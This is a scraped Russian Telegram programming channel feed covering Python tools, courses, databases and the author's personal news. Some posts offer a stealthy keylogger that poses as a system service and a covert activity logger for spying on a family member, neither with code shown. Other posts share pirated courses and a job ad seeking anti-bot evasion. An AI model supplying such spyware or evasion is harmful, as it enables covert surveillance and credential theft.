Абьюзер СhatGPT 💄 REBORN
9.45K subscribers
318 photos
47 videos
56 files
166 links
ЕСЛИ БЕРЁТЕ МОИ ПРОЕКТЫ - УКАЗЫВАЙТЕ АВТОРА
Download Telegram
✍️ Это кто тут еще у кого учится.

ЭТО ИИ УЧИТСЯ У МЕНЯ, А НЕ Я У НЕГО ‼️
Please open Telegram to view this post
VIEW IN TELEGRAM
152🤯22😁15🤣10❤‍🔥7🔥3💋2🥰1
👀 Google может больше, чем вы думаете, ребята.

Google Dorks — техника, которая превратит ваш поисковик в мощный инструмент для расследований.

Что это за "дорки" такие?

🖥 "Гугл дорки" — это специальные команды (операторы), которые вы добавляете в свой поисковый запрос, чтобы "поговорить" с Google на его языке и найти то, что он не показывает обычным пользователям.

Давайте на примерах. Хотите найти презентации по маркетингу с какого-нибудь университетского сайта?

- обычный поиск: презентация маркетинг (получите тонну рекламы и курсов) ;
- filetype:ppt site:edu маркетинг (найдет только файлы PowerPoint (.ppt) с сайтов в доменной зоне .edu) ;

🚀 Это и есть поиск с "дорком". Вот несколько крутых операторов:

- site: — ищет информацию только на одном конкретном сайте;
- filetype: — ищет файлы определённого типа. Очень полезно для поиска документов, книг, отчетов;
- inurl: — ищet слoвa прямo в URL-адрeсe стрaницы;
- intitle: — ищет только в заголовках страниц.

Зачем тебе это нужно? Для учебы и работы 🎓, проверить безопасность своего сайта и утолить любопытство... 🕵️‍♀️
Please open Telegram to view this post
VIEW IN TELEGRAM
105👍21🔥95❤‍🔥3💋2😨1
key.rar
2.3 KB
👨‍💻 Сегодня на игривом...

Таргетированный кейлоггер, активирующийся только в окнах определённых приложений и умеющий корректировать раскладку. Учитывая, что вы вряд ли сможете его нормально закриптовать и вряд ли продумаете механизм возврата логов на Ваш ПК, это безопасно.

👀 Та что вот, балуйтесь, если будет желание. Или смотрите, учите, понимайте.

Ключевые фичи:

- скрипт активируется только тогда, когда вы работаете в заданных программах (браузеры, мессенджеры, игры). В остальное время он спит и не тратит ресурсы;
- распознавание раскладки: Корректно записывает текст вне зависимости от того, какая раскладка (RU/EN) активна;
- скрытность: Логи хранятся в недрах папки AppData, а в автозагрузке скрипт маскируется под системный сервис;
- все цели, имена файлов и пути легко меняются через config.json без необходимости лезть в код;
- вся логика инкапсулирована в класс, а ошибки не валят программу, а тихо записываются в отдельный лог-файл для анализа.


Хорошего дня!

P.S. путь к логам:
%APPDATA%\SystemCache\session.dat
Please open Telegram to view this post
VIEW IN TELEGRAM
51❤‍🔥11😱8👍5🦄2🔥1
log.rar
1.5 KB
Еще одно баловство: 🚀 Системный Аудитор: Полный лог активности

Незаметно работает в фоне и фиксирует два ключевых типа действий:

- 📂 Навигация по файлам: Скрипт отслеживает, какие папки вы открываете в "Проводнике" Windows, и скрупулезно записывает каждый ваш шаг. Идеально, чтобы вспомнить, где лежал тот самый файл;
- 💻 Запуск программ: Ни одно запущенное приложение не останется незамеченным. Аудитор мгновенно фиксирует старт любого нового процесса (.exe), записывая его имя и время запуска.

👀 Для чего это нужно?

А ВЫ ТИПО НЕ ЗНАЕТЕ. СОБРАТЬ КОМПРОМАТ НА МЛАДШЕГО БРАТА КОТОРЫЙ НАШЕЛ ПАПКУ С ПРОНОМ ‼️
Please open Telegram to view this post
VIEW IN TELEGRAM
81🆒8👍5❤‍🔥3😁1💯1
🤷‍♂️ Будет ли информация полезной, в виде видео для ТикТак, как зайти на свой новокупленный VPS, какой софт юзать, как туда передавать файлы, как разворачивать там решения с Docker и без?

Или вам все про вирусы да математику рассказывать?
Please open Telegram to view this post
VIEW IN TELEGRAM
👍21326❤‍🔥6🥰3🤔3🐳2🔥1🎉1
🚀 Устали от онлайн-конвертеров? Я - да.

Поэтому потратил вечер и написал свой собственный десктопный конвертер медиафайлов. Полностью на Python + PyQt6, в качестве ядра - FFMPEG.

Главная цель была — сделать быстро, удобно и без рекламы. Никаких подписок (только на мой канал ❤️), рекламы и отправки ваших данных в облако. Всё происходит локально на вашем компьютере. Написано на Python, работает на любой ОС.

👀 Ключевые фишки:

- кидаешь файлы пачкой (batch processing);
- удобный Drag & Drop;
- фото к фото, видео к видео — без путаницы;
- работает офлайн, никакой интернет не нужен.

Как и сказал, под капотом трудится всеядный FFmpeg, так что на входе можно "скармливать" ему почти всё что угодно, от старых .flv до профессиональных .mov.

😜 Скачать код тут. Много реакций и соберу в .exe с FFMPEG внутри для обычных, не шарящих работяг.
Please open Telegram to view this post
VIEW IN TELEGRAM
360👍46🥰26🔥17❤‍🔥5👏4💘4
Офигеть, спасибо @BlueFaceBaby99 и @alexzactly ❤️

Это буквально первые донаты в моей жизни за "просто так", просто потому что я существую и чем-то занимаюсь. При том, что я об этом нигде не просил и не писал.

Очень приятно, нереально! 🔥
Please open Telegram to view this post
VIEW IN TELEGRAM
190👍22🥰10🔥6🆒4❤‍🔥3
Доброе утро. Все, у кого сломался злюка (бот-модератор) и теперь при заходе в комментарии отправляется его меню - зайдите в диалог с ним и отправьте:

/hide_menu


Я упустил момент и один человек этим воспользовался, немного сломав опыт использования. Меню пропадет после отправки команды. Сам убрать у Вас это не могу, т.к. это индивидуальные настройки Вашего чата.
🤯31👍7🥰51
🚀 Нашел вменяемый перевод CS50, аллелуя.

Тут каждый день в чатах пишут, что хотят начать, не знают с чего. Вот Вам самый лучший на сегодня БЕСПЛАТНЫЙ курс для "вкатки" , как это можно называть.

Он сейчас почему-то не на хайпе, ну и ладно... Значит, ссылка на плейлист:

ТЫК.

Немного инфы: CS50 (Computer Science 50) — это легендарный и очень популярный вводный курс по информатике и основам программирования, разработанный Гарвардским университетом. С 2015 года он также преподается в Йельском университете.

🖥 Вот ключевые моменты о CS50:

1. Для кого? Курс рассчитан на абсолютных новичков или тех, у кого есть минимальные начальные знания в программировании. Он является отличной отправной точкой для всех, кто интересуется компьютерными науками, независимо от их предыдущего опыта;
2. Чему учит? CS50 знакомит с фундаментальными концепциями информатики и программирования. Вы изучите:
- Базовые основы программирования (циклы, условные переходы, функции и т.д.);
- Принципы работы с командной строкой в Linux;
- Системы счисления;
- Алгоритмы и структуры данных;
- Введение в различные языки программирования, такие как C, Python, SQL, а также основы HTML, CSS и JavaScript;
- Также затрагивают основы кибербезопасности и искусственного интеллекта.


👀 Курс акцентирует внимание на решении реальных задач и проблем, что помогает студентам применять полученные знания на практике. Если вкатит - есть еще CS50P (посвященный Python), CS50W (веб-разработка), CS50AI (искусственный интеллект) и другие.
Please open Telegram to view this post
VIEW IN TELEGRAM
108❤‍🔥16👍14🔥6🥰2
This media is not supported in your browser
VIEW IN TELEGRAM
✈️ Пост ворованный, но мне все равно, ибо этот пабос мои видосы без подписи автора у себя выставляет.

Найден
способ узнать аниме по любому кадру. Бесплатно и моментально определит сериал, эпизод и таймкод по вашему скриншоту. Распознает даже мемы.

Ссылка

PS: сайт поднялся!
Please open Telegram to view this post
VIEW IN TELEGRAM
145🤣27🥰19🤷‍♀11👍9❤‍🔥6🙏2😡2
🚀 ReelsMaker, который на 15к обещал. Внутри инструкция по настройке авто-выгрузки в YouTube.

👀 Сори, сейчас прям нет возможности канал вести, слишком много хаоса, отстаю по срокам перед людьми, в следствие того, что ночью не сплю/работаю а сижу в подвале, в укрытии...

Всем хорошего вечера!

👨‍💻 Из того, что в видосах не показывал, добавил обрезку черных полос, но уже не захардкодил, а делаем это интеллектуально, для каждого видео индивидуально. + не только для скачанных с youtube, а и для локальных файлов. + добавил возможность наложить звук, а также регулировать громкость наложенного/родного звука видео, чтобы их можно было смешать или добавить фоновую музыку.


СКАЧАТЬ

P.S. постарался FFPEG и yt-dlp упаковать, но на своей системе корректность работы проверить не могу, ибо они у меня в PATH по умолчанию. Но вроде, должно работать.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14344👍19❤‍🔥4😢3🥰1🌭1😡1
🚀 Мне в руки попала занимательная информация. И хоть я не фанат пиратства, преступлением было бы не поделиться бесплатными знаниями.

🖥 Значит, эти все курсы являются платными изначально, но вот они бесплатно (слиты):

- Полное овладение Python (2023);
- Bogdan Stashchuk(Udemy) Полный курс по Python (2022);
- Python для хакера . Серия статей . Изучаем Python на практических примерах (2022);

- Основы математики для Data Science;
- Профессия 1с-разработчик c нуля до PRO;
- Сквозная аналитика;

- Adobe After Effects с 0 до PRO;
- Веб-аналитик с нуля до Junior;
- Fashion-скетчинг.

Кто с Украины, используем VPN, ибо все на облаке mail.ru выложено.

👨‍💻 Хорошего вам обучения!

P.S. качество курсов по понятным причинам проверить не смог. Знаю только, что в общем доступе их нет и изначально они платные. Если у кого-то был опыт, делитесь в комментариях советами.
Please open Telegram to view this post
VIEW IN TELEGRAM
147👍31🥰15❤‍🔥3🏆3🤨1
🖥 В очередной раз прочитал комментарии гениев о том, что Python медленный, а С++ и Java - быстрые. Вероятно, люди не совсем еще понимают, в чем идея огромного количества языков программирования и что у каждого из них своя задача. Я же не идиот, что начал Python учить, зная могучий C++ (или мне просто нечего делать было?)

Давайте сравним на казуальной задаче: парсинг веб-страницы. Задача
- собрать все заголовки с главной страницы Wikipedia.

На Python для этого нужно использовать только: requests, BeautifulSoup. А вот на C++ придется по-мучится с libcurl и Gumbo-parser.

Что у нас получается на Python
? Буквально 7 строк. А вот, что получится для С++:

#include <iostream>
#include <string>
#include <vector>
#include <curl/curl.h>
#include <gumbo.h>

size_t write_callback(void *contents, size_t size, size_t nmemb, std::string *s) {
size_t new_length = size * nmemb;
try {
s->append((char*)contents, new_length);
} catch(std::bad_alloc &e) {
return 0;
}
return new_length;
}

void search_for_headers(GumboNode* node, std::vector<std::string>& headers) {
if (node->type != GUMBO_NODE_ELEMENT) {
return;
}

GumboTag tag = node->v.element.tag;
if (tag >= GUMBO_TAG_H1 && tag <= GUMBO_TAG_H6) {
GumboVector* children = &node->v.element.children;
for (unsigned int i = 0; i < children->length; ++i) {
GumboNode* child = static_cast<GumboNode*>(children->data[i]);
if (child->type == GUMBO_NODE_TEXT) {
headers.push_back(child->v.text.text);
}
}
}

GumboVector* children = &node->v.element.children;
for (unsigned int i = 0; i < children->length; ++i) {
search_for_headers(static_cast<GumboNode*>(children->data[i]), headers);
}
}

int main() {
CURL *curl;
CURLcode res;
std::string html_content;

curl = curl_easy_init();
if (curl) {
curl_easy_setopt(curl, CURLOPT_URL, "https://ru.wikipedia.org/wiki/Заглавная_страница");
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &html_content);

res = curl_easy_perform(curl);
if (res != CURLE_OK) {
std::cerr << "Ошибка curl_easy_perform(): " << curl_easy_strerror(res) << std::endl;
}

curl_easy_cleanup(curl);
}

if (html_content.empty()) {
std::cerr << "Не удалось загрузить HTML." << std::endl;
return 1;
}

GumboOutput* output = gumbo_parse(html_content.c_str());

std::vector<std::string> headers;
search_for_headers(output->root, headers);

std::cout << "Найденные заголовки:" << std::endl;
for (const auto& header : headers) {
std::cout << "- " << header << std::endl;
}

gumbo_destroy_output(&kGumboDefaultOptions, output);

return 0;
}


Как видите, код на C++ требует:

- ручного управления зависимостями: нужно установить и слинковать библиотеки;
- более низкоуровневой работы: вы вручную настраиваете curl, пишете callback-функцию для сохранения данных;
- явного обхода дерева: вы рекурсивно обходите DOM-дерево, построенное Gumbo;
- ручного управления памятью: вы обязаны вызвать gumbo_destroy_output, чтобы избежать утечек памяти.

🚀 Задача одна, объем кода и время на выполнение - кардинально разные. На С++ это +- час, на Python - 5 минут. А в скорости работы при таком сценарии разницы нет. Я это к чему: у всех языков свои преимущества, назначения. Python не существует для того, чтобы на уровне ядра с ОС взаимодействовать. Он нужен, чтобы упростить разработку в типизированных сценариях, сделать ее быстрой и приятной.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10039🤯6❤‍🔥4🔥2🥰1🌭1
🚀 Нашел интересную штуку, может пригодиться. Не уверен, что для кодинга - но сферы применения точно имеются.

✍️ Prompt Cannon - удобный инструмент для тех, кто хочет сравнить возможности различных AI-моделей. Вы можете отправить один запрос, и он будет одновременно обработан несколькими AI-моделями, генерируя до 10 уникальных ответов.

На платформе доступны такие модели, как:

- GPT-4o Mini
- Gemini Flash
- DeepSeek
- Claude Haiku
- Claude Sonnet
- GPT-4.1


👀 Это отличный способ быстро оценить, какая модель лучше всего подходит для ваших задач (и найти те модели, которые для ваших вопросов совсем не подходят).
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥56👍2010🔥91🤝1
🚀 Все любят стилевый код, особенно в Тик-Ток. Вот вам инструмент, чтобы его красиво оформлять:

РЕПОЗИТОРИЙ | САЙТ

Chalk.ist и нужен только для того, чтобы делать из вашего скучного исходного кода потрясающие изображения.

Основные возможности:

- Гибкое управление кодовыми блоками: Добавляйте, удаляйте, меняйте порядок и настраивайте языки для ваших кодовых блоков.
- Визуальные преобразования: Выделяйте важные строки, фокусируйтесь на конкретных участках или показывайте различия (добавления/удаления) в коде.
- Полная кастомизация: фон, шрифты, окно, темы, бейджи.


👀 Конечно, не на Питончике писано. Проект построен на Nuxt.js с использованием Vue.js и Pinia. Для стилизации используется Tailwind CSS. Синтаксическая подсветка реализована с помощью Shiki. Для базы данных используется Drizzle ORM с PostgreSQL.
Please open Telegram to view this post
VIEW IN TELEGRAM
54👍13🔥11❤‍🔥3
🚀 Сори за АФК, переезжаю, на этой неделе закончу с этим. На той неделе случился неприятный инцидент, коснулся моего дома и близких. И моего ПК, который сейчас не работает.

Тут ребята предлагают работу, я взяться не могу, но дам Вам объявление. Если знакомы с веб-автиматизацией и Selenium, Playwright - попробуйте подать им заявку (разверните, чтобы полностью прочитать вакансию. Подойдет как разовое сотрудничество так и постоянное!):


Привет! У нас открыта вакансия инженера по автоматизации на Python. Ищем того, кто готов работать с браузерной автоматизацией, прокси и ИИ. Если тебе интересно, откликайся и приходи на интервью уже сегодня. Не упусти шанс стать частью проекта!

Должность: Инженер по автоматизации на Python: браузерная автоматизация, прокси и интеграция ИИ
Формат: Удалённо (Пн-Пт, с 7:00 до 16:00 по EST)
Тип занятости: Полный рабочий день, контракт (с оплачиваемым испытательным сроком 1 месяц)

О PRAI.co
PRAI.co трансформирует сферу PR с помощью искусственного интеллекта. Наша основная платформа, PRAI Transformer помогает брендам достигать широкой видимости, формировать повестку и лидировать в цифровом пространстве.

Сейчас мы создаём инструменты следующего поколения: кастомные браузерные решения, ИИ-автоматизацию и масштабируемые системы на основе прокси. Если вы увлечены автоматизацией и хотите развиваться в быстрорастущем AI-стартапе, будем рады познакомиться.

Обязанности
Мы ищем Python-инженера среднего уровня, который поможет расширить систему браузерной автоматизации.
Вы будете решать реальные задачи: эмуляция поведения пользователей в браузере, адаптация ботов под изменения фронтенда и внедрение ИИ-компонентов в рабочие процессы.

Отличная возможность для специалиста, который хочет перейти от стандартной автоматизации к более сложным системам и ИИ-инструментам.

Основные задачи
-Написание и поддержка скриптов автоматизации с использованием Selenium или Playwright
-Эмуляция поведения реальных пользователей (движение мыши, задержки, ввод текста, скроллинг)
-Интеграция прокси-сервисов и ротация IP-адресов
-Отладка проблем, связанных с детектированием ботов и капчами
-Адаптация скриптов к изменениям во фронтенде сайтов
-Подключение автоматизации к базам данных (MongoDB, PostgreSQL) и Redis
-Внедрение лёгких ИИ-моделей или API для умной логики
-Мониторинг производительности и отчётность перед инженерной командой

Требования
-2–3 года опыта разработки на Python, включая автоматизацию
-Опыт с браузерной автоматизацией (Playwright, Selenium или Puppeteer)
-Понимание прокси, ротации IP и методов обхода детектирования
-Опыт работы с динамическими веб-сайтами (HTML, CSS, JavaScript)
-Знание Git, асинхронного Python и отладочных инструментов
-Уверенное владение английским для тех. терминов
-Готовность обучаться продвинутым методам: кастомизация браузеров, ИИ-интеграции и пр.



Преимущества
-Опыт с undetected-chromedriver, stealth-плагинами или методами обхода антиботов
-Знание Docker, Redis или систем фоновых задач (например, Celery)
-Знакомство с AI/ML-инструментами (OpenAI API, Langchain, Hugging Face)
-Базовое понимание системного дизайна и мониторинга производительности



Что мы предлагаем
-Удалённая работа с графиком по EST
-Оплачиваемый месяц на испытательном сроке с возможностью повышения ставки по итогам
-Менторство от старших инженеров, работающих с продвинутыми ИИ- и автоматизационными системами
-Работа над продуктом с глобальным охватом и реальными пользователями
-Быстрый темп, масштаб, рост и реальное влияние вашего кода


Как подать заявку
Отправьте на @olexandra_vakul :
-Краткое сообщение о вашем опыте с браузерной автоматизацией и мотивации на эту роль
-Резюме или профиль в LinkedIn
-GitHub или примеры кода (если есть)

Если вы готовы прокачать свои навыки в Python-автоматизации в реальной ИИ-среде, мы готовы работать с вами.
Откликайтесь, построим новое поколение умной автоматизации.
Please open Telegram to view this post
VIEW IN TELEGRAM
😭14120👍14😁7🤯6🔥3🥰3🐳3
Всем привет. В общем, после влета дрона в мой дом.... На той неделе закончил со сборкой ПК. SSD со старого (сгоревшего), который в целом выглядел ОК визуально, оказался не рабочим, 3 ячейки памяти из 4 неработоспособны, ибо обгорели. Перенести инфу, проекты и рабочий телеграм-аккаунт, с которого общался с заказчиками, я не смог, ибо диск только стартовал, а при попытке взаимодействовать с файловой системой, перезагрузка -> bios.

Сейчас я глобально в депрессии, ибо попал на много денег, т.к. квартира была моя, как и все имущество в ней. Восстанавливать мне государство ее не будет: для подачи документов на это нужно идти в военкомат, а идти в военкомат… Вы понимаете.

Я все еще помню о том, что есть заказчики, с которыми работали и я пропал внезапно. Поверьте, не по моей воле. Вам отвечать тоже возможности не было, т.к. аккаунт для рабочего общения был только на компьютере и телефоне для работы, которые я с собой в укрытие очевидно не забирал в ту ночь.

Поэтому всех, с кем работал/от кого получил средства и не дал результат, прошу отписать снова через бот(а), дам вам свой новый аккаунт. Всем сразу не отвечу, ибо опять-таки, я морально не вывезу со всеми общаться. Да, неправильно, да эгоистично. Как есть. Какие-то наработки по вашим проектам остались у меня в облаке, а для кого-то все слетело. Кидать никого не намерен, либо сделаю вам проекты, либо сделаю другие, если те актуальность потеряли, либо буду постепенно возвращать деньги.

Нужно систематизировать проблему и двигаться дальше, начинать работать, ибо сейчас моральное состояние ни к черту и опускаются руки. Ни хотел никому причинить вреда/никого обидеть.

Обещаю себе и Вам с завтрашнего дня вести этот канал, делать хотя-бы 1-2 поста в день, как и 1-2 видео в день в ТТ.
😢754104😭60😨21🤯9🤣7🔥6😱6
👨‍💻 У ребят, которые начали свой путь в разработки с помощью нейронок, наблюдается проблема, что они всюду используют SQlite. Особенно этим GPT болеет. Это не плохой проект, если проект у вас минорный. А вот для чего-то крупного - такая БД станет "слабым" местом в моменте, когда к ней будет поступать много запросов. Зависания, падения, долгое время ожидания - это не круто.

Кратко расскажу об альтернативах
👀, где и почему их лучше использовать. Чуть позже по каждой пройдемся подробнее:

1) SQLite

- Плюсы: Простая, быстрая, не требует отдельного сервера, встроена в Python.
- Минусы: Ограниченная поддержка многопоточности, не подходит для больших объемов данных.


🎯 Идеально для: Небольших проектов, мобильных приложений, тестирования.

2) PostgreSQL

- Плюсы: Мощная, расширяемая, поддерживает сложные запросы и большие объемы данных.
- Минусы: Требовательна к ресурсам, сложнее в настройке.


🎯 Идеально для: Крупных веб-приложений, систем аналитики, научных проектов.

3) MongoDB


- Плюсы: Гибкая схема данных, горизонтальное масштабирование, высокая скорость записи.
- Минусы: Ограниченная поддержка транзакций, не подходит для связанных данных.


🎯 Идеально для: Big Data, социальных сетей, IoT, контент-менеджмента.

4) Redis

- Плюсы: Очень быстрая (in-memory), подходит для кэширования и очередей сообщений.
- Минусы: Данные хранятся в оперативной памяти (ограниченный объем), риск потери данных при сбое.


🎯 Идеально для: Кэширования сессий пользователей, real-time аналитики, чатов.
Please open Telegram to view this post
VIEW IN TELEGRAM
96👍16🔥11❤‍🔥3🤣1
🖥 Продолжу тему баз данных, об одной ключевой вчера не рассказал.

Сегодня о классической связке, которая лежит в основе многих крутых проектов: Python и MySQL.

🤔 Как они "дружат?"

Python "общается" с базами данных MySQL с помощью специальных библиотек-коннекторов. Самые популярные — mysql-connector-python (официальный от Oracle) и PyMySQL. 👀 Вы просто устанавливаете нужную библиотеку, импортируете ее в свой скрипт и можете выполнять любые SQL-запросы: создавать таблицы, добавлять данные, делать сложные выборки. Все просто и по-питоновски элегантно.

🚀 Где это используется?

1. Веб-приложения на Django & Flask: Это самая частая сфера применения. Интернет-магазины, блоги, CRM-системы, социальные сети — везде, где нужно надежно хранить данные о пользователях, товарах или постах, MySQL отлично справляется с ролью хранилища. Django и Flask имеют прекрасную интеграцию с этой СУБД.
2. Аналитика и ETL-процессы: Представьте, что вы парсите данные с сайтов. Python-скрипт собирает информацию, обрабатывает ее и аккуратно записывает в таблицы MySQL. Позже эти данные можно легко анализировать и строить отчеты.
3. Телеграм-боты: Ваш бот должен помнить пользователей, их настройки или историю сообщений? MySQL — отличный и надежный выбор для хранения этой информации.
4. Системы мониторинга: Скрипты, которые следят за состоянием серверов или приложений, могут записывать логи и метрики в базу MySQL для последующего анализа.

Python + MySQL — это надежное и масштабируемое решение для огромного спектра задач.

P.S. я вижу сообщения от ВСЕХ в боте, не нужно писать по несколько раз. Я закрываю вопрос с 2-3 людьми, потом иду дальше.

Если я начну отвечать всем и сразу - никто решение своей проблемы не получит, а я к тому, что сейчас кушаю золофт, еще пару таблеток у психиатра выпишу.
До всех очередь дойдет, компенсирую работой/деньгами.
Please open Telegram to view this post
VIEW IN TELEGRAM
60❤‍🔥105🔥3👍2🥰1🤔1💋1
✍️ Знакомые, которые только учатся программированию, рассказали про интересный сайт, еще месяц назад, но не до этого было.

What It Prints - это простая, но увлекательная игра-головоломка для программистов и всех, кто интересуется кодом. Зайти туда и "тренироваться" можно будучи адептом практически любого из востребованных сейчас языков: (JavaScript, Python, Ruby, C++ и других).

✈️ В чем суть?

Сайт показывает вам небольшой фрагмент кода на разных языках программирования. Ваша задача — угадать, что именно этот код выведет на экран. Никаких сложных настроек, компиляторов и IDE. Только вы, код и ваша логика.


⚙️ Это отличный инструмент, который позволит:

- проверить свои знания в разных языках;
- научиться быстрее читать и понимать чужой код;
- узнать новые "фишки" и особенности языков;
- просто "залипнуть" на несколько минут (или часов 😉) с пользой для ума.

🤖 Отличная разминка для мозга для программистов любого уровня, как по мне.
Please open Telegram to view this post
VIEW IN TELEGRAM
57368😡7👍5🔥5😴5🤔2
🖥 SeleniumBase для парсинга: мощнее и удобнее обычного Selenium

Парсить сайты на Selenium уже не считается практичным. Он медленней конкурентов. Единственное преимущество - это большое сообщество, которое делится опытом и поможет найти решение любой проблемы, практически. Но мой опыт показывает, что условный Playwright или DrissionPage быстрее, лучше справляются с задачами, где нужно "маскировать" автоматизацию.

👨‍💻 Но вот, доделывая один из "долгов", на той неделе познакомился с SeleniumBase. Если коротко, это надстройка над обычным Selenium, которая решает кучу проблем.

Чем SeleniumBase лучше?

- простой синтаксис;
- встроенная защита от бот-детекторов;
- автоматическое управление драйверами - не нужно вручную скачивать и прописывать пути к chromedriver;
- "умные" ожидания: Скрипт не упадет, если элемент не успел прогрузиться. SeleniumBase автоматически дождется его появления перед тем, как выполнить действие. Это делает парсеры намного стабильнее.


По сути, он упрощает код и помогает обходить защиту там, где обычный Selenium уже не справляется. Вот такой вот опыт.

P.S. жду стул и микрофон, не могу пока ТТ вести, скоро фулл-комбек. Прямо сегодня утром закрыл 3-х заказчиков, сегодня отпишу еще троим. Жизнь продолжается, по чуть продолжаем работу.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7930🔥14🥰3🐳32👏1🌭1